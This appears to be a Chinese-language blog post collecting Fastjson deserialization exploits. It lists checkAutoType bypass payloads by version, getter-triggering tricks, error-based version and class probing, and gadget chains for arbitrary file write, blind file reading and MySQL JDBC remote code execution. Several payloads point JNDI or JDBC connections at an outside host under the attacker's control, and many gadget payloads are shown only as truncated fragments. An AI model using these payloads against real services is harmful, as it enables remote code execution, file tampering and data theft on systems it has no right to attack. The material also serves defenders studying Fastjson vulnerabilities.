绕过checkAutoType常用链子
针对在autotype开启并使用@type
的情况下,绕过checkAutoType
<=1.2.24
1 | {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://x.x.x.x:1099/jndi", "autoCommit":true} |
<=1.2.41
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
1 | {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://x.x.x.x:1098/jndi", "autoCommit":true} |
<=1.2.42
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
1 | {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true} |
<=1.2.43
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
1 | {"@type":"[com.sun.rowset.JdbcRowSetImpl"[{,"dataSourceName":"ldap://localhost:1399/Exploit", "autoCommit":true} |
<=1.2.45
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
mybatis
1 | {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1399/Exploit"}} |
<=1.2.47
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
1 | { |
<=1.2.62
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
xbean-reflect
1 | {"@type":"org.apache.xbean.propertyeditor.org.apache.xbean.propertyeditor.JndiConverter","asText":"rmi://127.0.0.1:1098/exploit"}" |
<=1.2.66
autoTypeSupport属性为true才能使用。(fastjson>=1.2.25默认为false)
1 | shiro-core |
1.2.68 - AutoCloseable
@type
要经过ParserConfig#checkAutoType(String typeName, Class<?> expectClass, int features)
的检测,第一个参数是实际检测的类,第二个参数是期望类,可以通过以下形式来分别指定期望类expectClass和实际检测的类typeName
1 | {"@type":"expectClass","@type":"typeName","field1":"value1",...} |
对于checkAutoType,总共出现在两处地方,且主要针对JavaBeanDeserializer,像MiscCodec就无需考虑
DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
中:检测期望类是否满足checkAutoType,此时对于期望类的expectClass是nullJavaBeanDeserializer#deserialzeArrayMapping
和JavaBeanDeserializer#deserialze
:检测目标类是否满足,此时期望类就是上面的。
对于期望类的checkAutoType,简单看一下
1.2.68版本默认不开启safemode,不会直接返回。首先检测黑名单,期望类不在黑名单里。
然后就从默认初始化的TypeUtils.mappings
里找有没有以及缓存的,正好java.lang.AutoCloseable
在里面
之后判断从缓存类中取出的类要满足以下条件,才能返回。即:expectClass为空或取出的目标类是HashMap或目标类继承/实现期望类。这里的expectClass为空,所以可以直接返回AutoCloseable。
看一下当期望类是AutoCloseable,目标类的checkAutoType
限制了期望类的类型不能是以下这些,ban掉了大部分的父接口,但是没ban掉AutoCloseable,所以设置expectClassFlag
为true
然后就是黑名单检测,这里和expectClass无关。也就是说,只要目标类在黑名单里,即使其满足了前面说的继承/实现于期望类,还是会报错。
过了黑名单检测之后,从缓存拿。拿到的话,就是前面说的需要满足三个条件之一,拿不到就没有这部分逻辑。
然后就是利用ASM解析目标类文件看有没有@JsonType
注解。
之后就是是要autoTypeSupport/jsonType/expectClassFlag
三者满足其一,就会加载TypeUtils.loadClass
加载类
类加载出来后,同时对类做了如下限制。
满足以上限制后,只要目标类是期望类的子类,基本上就绕过结束了,之后就是往mappings缓存,然后return。
所以总结一下,绕过checkAutoType我们需要关注的几个点:
期望类先checkAutoType,期望类需要满足的条件:
- 只能是初始化白名单中的类或缓存mappings的类,这里的AutoCloseable是缓存中的类
- 不能是
Object、Serializable、Cloneable、Closeable、EventListener、Iterable、Collection
这几个接口
目标类需要满足:
- 目标类不能在黑名单中
- 目标类不能继承/实现
ClassLoader、DataSource、RowSet
。这里不同版本,ban掉的类可能不一样,比如51版本就有漏网之鱼RowSet,导致jndi注入
目标类如果不在白名单中,必须继承/实现期望类
Trigger总结
可以调用所有getter/setter的情况
- 单参数parseObject。相较于其他,多了一层
JSON.toJSON
底层实际是parse,如果同时存在getter和setter,则调用setter,如果只存在getter则调用getter。
而JSON.toJSON会调用所有getter
只能调用所有setter/特定getter的情况
- 多参数parseObject
- parse
原因是都缺少了单参数parseObject的JSON.toJSON这一步。
突破无法调用getter的限制
寻找序列化过程
序列化为json时会调用所有getter,主要找一下三个函数
- JSONObject.toString(实际就是JSON.toString)
- JSON.toJSON
- JSON.toJSONString
key的JSONObject.toString(版本限制)
- 有版本限制,具体还没测,反正1.2.47之后不行了
- 注意区别下面一小节的方法
形式:
1 | {{"a":{对象}}:"b"} |
但是高版本时,删去了过程3,如果外层是JSONObject,不对key做任何操作。
MiscCodec中的JSONObject.getString
先看一下JSONObject.getString
方法。如果JSONObject是一个map,且调用了getString方法根据key获取的value也是JSONObject的话,就能触发JSONObject.toString()。
所以对应的json应该是
1 | { |
而在MiscCodec#deserialze
中,在满足一定的条件下,会调用JSONObject.getString('currency')
方法,在之前的fastjson利用缓存的方式绕过checkAutoType时,也用到了MiscCodec#deserialize
方法,当时是@type
指定类为java.lang.Class
,从而会调用MiscCodec#deserialize
处理,而其中的val
键可以用来缓存。而这里用的@type
类是java.util.Currency
,其对应的解析器MiscCodec
。具体来看一下这种情况下的处理方式
- 处理val键的部分
这里要求键名只能是val
,否则会爆syntax error
,然后用parser.parse继续解析val键对应的value部分。假设我们现在解析出的objVal是一个JSONObject。继续往下
- 可以看到,如果想要调用
JSONObject.getString
的话,需要满足- objVal是JSONObject,所以我们上面的假设是必须要实现的。
- clazz也就是
@type
的是java.util.Currency
对于currency
或currencyCode
都能够满足我们的条件。
所以最终得到的payload形式如下:
1 | { |
但是使用这种方式有一个弊端,就是会报错,而报错就会导致fastjson后续处理的流程终止,如果使用了$ref
引用的话,会导致引用的处理被终止
- 报错的地方是在调用完所有getter后初始化Currency的地方
- 处理
$ref
的位置是在解析之后的,在parse/parseObject解析的过程中如果遇到$ref
,则会封装为ResolveTask
,在parse之后再调用handleResovleTask
来处理。因此如果在此之前出现报错,$ref
引用就无法处理,就可能出现使用引用的成员变量为null的情况
StringCodec中的toString
这种方式可以用于把json payload盲插在已知为String类型的变量当中。在解析这个String类型的变量时,会调用StringCodec#deserialze
来解析,解析过程很简单,无论是何种非String类型的数据,在最后通通会调用toString方法,因此,只需要让我们的payload部分是JSONObject,就可以触发所有getter了。
1 | [{ |
上面的userName是String类型的变量
$ref
- 可以引用对象
- 可以触发任意指定getter,好处是不会触发多余的getter。
- 根据路径(context)进行引用,有层级关系,引用的写法有:
引用 | 描述 |
---|---|
“$ref”:”..” | 上一级 |
“$ref”:”@” | 当前对象,也就是自引用 |
“$ref”:”$” | 根对象 |
“$ref”:”$.a.b” | 基于路径的引用,比较常用,可以稳定触发某个类的getter |
“ref”:”$[n].a[m].b” | 带数组情况下的基于路径的引用 |
这里以A、B类和干扰类User为例,来具体分析一下
1 | // 类A |
贴一下关于$ref
的处理代码,对于单参数的parseObject,以下面的payload为例来分析
1 | { |
对于给的确存在属性调用$ref
进行引用赋值和对于不存在的属性进行引用的处理不一样。varA
是B的属性,而xxx
不是,对于varA
的引用处理,在JavaBeanDeserializer#deserialze
方法中。以下的分析仅给一些关键性的结论,具体整个分析流程就不说了。
1 | if ("$ref" == key && context != null) { |
上面这一段处理的是varA
这个属性的$ref
引用。此时key是$ref
,值为$.a
,处理的fieldName是varA
。直接跟进到parser.resolveReference(ref);
方法
1 | public Object resolveReference(String ref) { |
从存储了所有上下文路径的contextArray
中取出匹配$ref
值的对象context返回
这里的$.a
在上下文中对应的就是A对象,符合条件,直接返回该对象。然后后续调用setVarA方法给B对象的varA成员赋值。
而xxx
这个属性不是B的成员变量,在解析成员变量时不能像varA
一样立即处理,具体逻辑的在两个地方,一个是DefaultJSONParser#parseObjet
,另一个是等到解析parse完整个B对象之后再调用JSON#handleResovleTask
方法来处理。
1 | if (key == "$ref" |
然后是parse/parseObject完后才进行的handleResovleTask,在JSON#parse完后才调用DefaultJSONParser#handleResovleTask
1 | public void handleResovleTask(Object value) { |
大致的过程如下:
- 取出
$ref
对应的值,即$.a
和$.b.BOM
对上述
@
、..
、$
、$.x.y
四种形式的$ref
进行处理。前三个就是上面功能的字面意思,重点看一下第四个直接把对应的context和
$ref
的值封装成ResolveTask
,添加到resolveTaskList中。
- 然后就是handleResovleTask的处理部分了。循环处理之前添加的每一个ResolveTask。取出
$ref
的值,如果$ref
的值在所有对象的引用路径中没有找到,就会进行JSONPath的处理。而我们这里的$.b.BOM
肯定在contextArray中是找不到的,因此会调用JSONPath.compile
和JSONPath.eval
来处理。
- 继续跟进
JSONPath.eval
,循环解析JSONPath。我们的引用路径其实就是一个JSONPath
,这个必须写对,如果写成$.BOM
的话就是调用的根对象来处理了。这个循环经历两次,先取出b
作为segement,传入eval解析得currentObjecy为B对象,最后再传入segement为BOM
和B对象
- 继续跟进Segment.eval方法(Segment就相当于JSONPath路径上的每一段),该方法中进一步调用
JSONPath.getPropertyValue
方法来解析,其中就会根据BOM
在**当前的对象currentObject(这里是B类)**中查找对应的getter(getBOM)来调用,这里就实现了任意getter的调用。注意点就是要写对引用路径
但是$ref
有一个局限性,就是在parseObject指定特定类型(双参数)的时候无法稳定触发。上面分析的过程是parseObject解析的对象是预期类型(单参数)的情况,如果指定了类型,最后在JSONPath#eval(rootObject)
中由于rootObject是被指定的类型导致后续的解析失败。用下面的payload分析一下
1 | { |
假设此时的解析语句是JSON.parseObject(payload, User.class)。外包一层"x":{}
的目的是为了绕过类型检测。在解析”x”这个属性名时,User对象也没有这个属性,但是fastjson不会停止解析,而是会调用DefaultJSONParser#parseExtra
来继续解析,而在parseExtra中又会调用parse
来解析,因此和正常的流程就一样了,且x
并没有被setContext
加到context
中作为$.x
,所以在后续的引用中我们可以忽略掉”x”这一层,所以写的是$.a
而不是$.x.a
,这里要特别注意。
对于"x":{}
大括号里面的JSONObject的内容就和前面没有指定类型的情况一样了,我们重点关注一下解析完之后handleResolveTask的部分。
仍然还是只有一个ResolveTask
但是在调用JSONPath.eval
方法时,传入的rootObject是被指定的类型User.class
而不是之前的JSONObject了。
所以当我们解析$.b
这一层时,并不能像JSONObject
(JSONObject是一个Map,可以看做是任何对象都能作为JSONObject的成员变量)一样正确获取到b
属性了,因此后续的$.b.BOM
肯定也就失败了。
那有办法可以进一步绕过吗?答案是有的。首先继续走handleResolveTask的引用是行不通的,因为User
限制死了成员变量的名称(即$.b
这一步肯定是错的),所以我们需要找在解析过程中其他可以触发getter的地方。仔细回想一下,前面的java.util.Currency
不正好可以吗,所以可以给出这样的payload
1 | { |
此时的json解析流程其实就是拼接起来了,不多赘述了。
构造方法初始化的问题
在看以下内容之前,建议先看一下前置的知识,方便理解:
这里先给出一个Fastjson调用构造方法实例化类并赋值的结论:
- Fastjson使用ASM来解析.class文件。
ASMUtils.lookupParameterNames(constructor);
用于获取构造方法的参数名,可能会出现这样的情况:明明是有参数,但是拿不到参数名。是因为ASM解析时依赖的本地变量表(LocalVariableTable)在某些jdk版本中并没有提供(即编译.class的时候没有编译进去,需要javac -g vars
指定),因此获取不到参数名,所以会出现某些类实际是有构造方法但报错的情况。- 使用构造方法来设置属性值的策略:优先调用无参构造方法,如果没有,调用参数最多的有参构造方法,根据参数名传值,当出现有多个参数个数一样的构造方法时,在getDeclaredConstructors()方法返回的构造方法数组中选取最靠前的参数最多的构造方法。因此可能会出现预期传入的参数类型和获取到的构造方法不一致的情况,这时候需要调试看看到底是选了哪个构造方法
针对以上三个问题,来调试一下。
首先所有待解析对象的类信息(包括字段、方法、构造方法等)都是在parse之前,即初始化ParserConfig时确定的,所以整个初始化逻辑在ParserConfig#createJavaBeanDeserializer
中,主要看915行的JavaBeanInfo.build
方法
这里以ByteArrayInputStream
和FileOutputStream
来看一下2、3问题
1 | { |
本地变量表
第一个解析的是AutoCloseable,这里直接跳过,看ByteArrayInputStream的
跟进,前面获取Field、Method、Constructor和defaultConstructor。特别注意constructors数组中构造方法的顺序,问题2与之有关,但是这里ByteArrayInputStream就两个构造方法,一个单参数,一个三参数,最后选的肯定是三参数那个。
defaultConstructor没有,所以是null。默认不是基于属性来赋值的,所以fieldBased为false,所以fieldBased下的就不看了
然后判断有没有用@JSONCreator
注解指定构造方法或者工厂模式,这里也没有。因此直接跳过两个else分支
来到关键的地方,这里遍历构造方法,做以下处理
- 获取参数类型,对于第一个构造方法,这里是
byte[].class
,即[B
。
判断构造方法的可见性,不是public就无了
调用
ASMUtils.lookupParameterNames(constructor)
来获取构造方法的参数名称。这里就依赖前面所说的符号表。跟进去看一下。- 关键在
read.accept(visitor)
,这是标准的ASM操作字节码的实现,其中会解析.class文件的信息。
- 直接跟踪到关键位置,即
ClassReader#readMethod
方法中,由于.class文件没有本地变量表,因此varTable的为0
- 所以没办法调用
mv.visitLocalVariable(readUTF8(w + 4, c), index);
来获取参数名
- 所以回到lookupParameterNames方法中,调用
visitor.getParameterNamesForMethod()
获取的的参数名是null
- 关键在
- 当
ASMUtils.lookupParameterNames(constructor)
执行完返回null之后,判断如果lookupParameterNames是null则直接continue
- 当所有方法的参数都是null,则creatorConstructor是null,循环结束后会直接报错:
throw new JSONException("default constructor not found. " + clazz);
至此,我们可以知道,在.class文件缺失本地变量表的情况下,fastjson没法通过有参构造方法来设置属性值和实例化。
- 对于jdk类库中的类文件,在jdk <= 1.8下,openjdk和oracle jdk几乎都是缺失本地变量表的,即默认的编译参数只有
-g source,lines
。 - 少数1.8的情况,在centos下的,通过yum安装的
java-1.8.0-openjdk-1.8.0.292.b10-1.el8_4
版本,是存在本地变量表的 - jdk >= 11的版本都有
- 第三方类库的类文件几乎都是有本地变量表的。所以挖Gadgets最好还是先考虑第三方类库的。
选取参数最多最靠前的构造方法
如果有本地变量表,保证获取到对应的参数名,就不会直接continue,会经过以下赋值
从红框处可以知道,最终保存在creatorConstructor
中的构造方法是参数最多且在clazz.getDeclaredConstructor获取的Construtor数组中排前面的。
所以如果发现调用的不是和参数名(类型)匹配的预期构造方法,可能是这里的构造方法取错了
其他trick
@type为Map
现在有两种写法:
1 | { |
第一种写法可以触发所有的getter,这是毫无疑问的。回顾一下单参数的parseObject方法就会知道。
而第二种写法只能触发所有setter,因为第二种写法被认为是一个JSONObject,所以在单参数parseObject方法中不会继续调用JSON.toJSON(obj),而是直接返回
解决第二种无法触发的办法是加一个"@type": "java.util.Map"
即可。
1 | { |
首先直观上看"@type": "java.util.Map"
解决了我们的主要问题就是返回的obj不会是JSONObject了,而是被显示的指定为Map,而对于Map的处理是(猜一下也能猜个大概了),取出每一个value,调用其toJSON方法,这就和正常传入的第一种形式是一样的处理了。具体来看一下
返回值是一个HashMap
对每一个value自递归调用toJSON方法,所以这时作为键值的A对象就和直接传入的A对象没有差别了,在其中就会调用所有的getter方法。
fuzz思路
畸形json报错泄露版本
在com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#deserialze()
方法处,解析出错时会往错误信息中添加fastjson-version,在有错误回显的情况下,可以通过一些特性的畸形json来使得错误信息中包含fastjson-version。
稳定的报错回显版本的payload如下,注意最后的点
1 | { |
其实也很简单,满足这以下条件即可(主要看buf.append(", fastjson-version ")
前面的逻辑即可)
- 在
JavaBeanDeserializer#deserialze
解析前不能报错,也就是说畸形构造最好不要放在前面 - 触发报错的字符不能是
{ ,
所以可以!
也可以换为.[
等
@type探测类
在有错误回显或者bool回显的情况下,可以通过@type
指定类的回显情况来判断该类是否存在
1 | { |
会出现以下两种回显情况
- 正常回显:该类存在,且是AutoCloseable的实现子类
- 错误回显:该类不存在或不是AutoCloseable的实现子类。
综合的payload
为了实现对于任意解析情况都能兼容触发的payload,即通杀任意一种JSON解析的写法,可以调用任意setter/指定getter/任意构造方法。
任意的解析情况:
1 | JSON.parseObject(payload) |
解决的问题:
- 解决指定类型:外包一层
{"xxx":{实际的payload}}
。原因是:指定类型反序列化时,不论参数指定的类型是否对应,fastjson都会去创建对象,并处理相关内容,之后再返回时再进行类型的封装转换,因此不影响实际触发的流程 - 解决任意getXXX方法(只要是符合getter的命名格式,不需要有对应属性)调用:
- 使用
$ref
。多参数的时候$ref
只有引用作用,而不能触发getter - 指定类为
java.util.Currency
- 使用
默认满足的特性:
- 解析时能够优先调用无参构造方法,如果没有,当满足autoType的情况下(checkAutoType过),调用参数最多的有参构造方法(具体可以看
JavaBeanInfo.build
方法) - fastjson不根据属性来解析,而是根据getter来解析,且getter也一定是要有对应的属性,只需满足getter命名规范的都可能被调用到
所以最终得到的通杀payload
嵌套 + java.util.Currency
1 | { |
$ref + java.util.Currency
注意如果有数组包裹的话,需要以数组的形式引用,比如$[0].currency.writer
这样
1 | { |
Gadgets汇总
MarshalOutputStream - 原生jdk
1 | { |
- 需要本地变量表(LocalVariableTable),jdk<=8的openjdk和oracle jdk默认没有,>=11就有了,centos下的某些jdk8版本有(如
java-1.8.0-openjdk-1.8.0.292.b10-1.el8_4
) - 可以写二进制文件:jar、class等
commons-io2
任意文件写 - 只有第三方依赖的
1 | { |
- 稳定触发
- 不能写二进制文件(会脏写)
- 可以任意文件写空
任意文件写 - 有jdk依赖
1 | { |
- 需要本地变量表
- 可以写二进制文件
逐字节盲注读文件
1 | { |
- 需要有回显信息(尽量不要500,500的话就没有不同回显了)
- 穿插在String类型的变量中让服务器200的效果最好
- 利用的是
BOMInputStream#getBOM
匹配ByteOrderMark
并返回(否则null),从而造成回显差异
Mysql反序列化
在Mysql jdbc反序列化的基础上进行利用的。主要是利用queryInterceptors型的jdbc串,如
1 | jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor |
利用的触发点是创建了一个ConnectionImpl
连接了恶意的服务器。在fastjson层面,由于所有连接类的父接口都是JdbcConnection
,而该接口又继承了AutoCloseable
接口,所以是有利用价值的,在mysql jdbc反序列化的基础上,只需找到可初始化ConnectionImpl
并设置相关属性(触发条件)的链子,且这些链的Source都是AutoCloseable的子类(优先考虑JdbcConnection)。因此就有了如下的几条链子。
在了解这几条链子之前,可以先概览一下mysql jdbc的几种连接类型,接口是JdbcConnection
5.x
版本:
- 5.1.11 - 5.1.48(RCE,和原生的mysql jdbc反序列化的影响范围联系起来就好)
- 5.1.x(SSRF)
1 | { |
这个链子比较简单,直接看一下com.mysql.jdbc.JDBC4Connection
的构造方法
调用super()直接就是ConnectionImpl
的构造方法了,然后传入相关的参数即可。这里的info用来设置除了host和port之外的其他属性。到了5.1.49的mysql-connector-java修复了由jdbc反序列化的sink点getObject,换成了getString
6.x
版本:6.0.2/6.0.3(RCE)
1 | { |
这个更简单,直接看一下com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection
构造方法,传入了一个proxy,类型是
看一下这个LoadBalancedConnectionProxy
的构造方法
传入一个ConnectionString,其实就是jdbc串的封装,即解析jdbc串的信息封装在里面
所以上面的对象都是能够创建的,继续看到LoadBalancedConnectionProxy的构造方法,前面会对属性进行处理,比如取出host和port,进行一些属性初始化和合法性判断,只要我们传入的jdbc串保证正确,前面就不会有问题,这个类的作用也有点类似于mysql jdbc连接的代理,封装了一些初始化过程,最后调用pickNewConnection
来建立一个新的连接,即ConnectionImpl
,放一下调用栈
1 | createConnectionForHost:329, MultiHostConnectionProxy (com.mysql.cj.jdbc.ha) |
在MultiHostConnectionProxy#createConnectionForHost
方法中调用ConnectionImpl.getInstance
完成初始化
而6.4版本LoadBalancedConnectionProxy构造方法的参数变为LoadbalanceConnectionUrl,该类最终会被选中的构造方法如下:
遗憾的是,HostInfo有一个无参构造方法,fastjson会优先调用无参构造方法来给成员变量赋值。而这个无参构造方法把必须的参数都设置为null了,我们没办法控制(8.x解决了这个问题)
8.x
版本:
- 8.0.19(RCE)
- >=8.0.19(SSRF)
1 |
|
在6.0.4版本,由于LoadBalancedConnectionProxy的构造方法参数的变化,导致无法初始化,而外层封装的类是没有问题的。
在8.x版本,LoadBalancedConnectionProxy
的构造方法参数又变成了ConnectionUrl
接口,看一下这个接口的实现类,在其中我们只需要选取合适的子类封装我们的jdbc连接串即可。
原作者选取的是ReplicationConnectionUrl
,这个类用于建立主从服务端连接,看一下构造方法
又出现了List<HostInfo>
这个类型的参数,上面说过了HostInfo不可控,这里我们只需要保证masters有一个HostInfo即可,值不用管(masters的长度不能为0,否则会报错,slaves的长度可以为0)。关键在下面的语句
1 | masters.stream().map(this::fixHostInfo).peek(this.masterHosts::add).forEach(this.hosts::add); // Fix the hosts info based on the new properties before adding them. |
从注释也可以看出来,在fixHostInfo
方法中,可以通过properties属性来设置所有的属性值,包括host和port,所以这也就解决了HostInfo没值的问题。
至于外层的封装,MultiHostMySQLConnection及其子类都是可以的
1 | MultiHostMySQLConnection |
至于其他版本为什么不行
- 对于8.0.18版本,
LoadBalancedConnectionProxy
的参数又变成了LoadbalanceConnectionUrl
,写的更死了,对于上面说的ConnectionUrl接口的候选子类来说,只有ReplicationConnectionUrl
是合适的,其他都不行,选取标准是:能不能解决6.0.4的问题,即给HostInfo赋值 - 对于>8.0.19的版本,mysql jdbc反序列化就修了,修复和前面说的一样,把ResultSetImpl的getObject换成了getString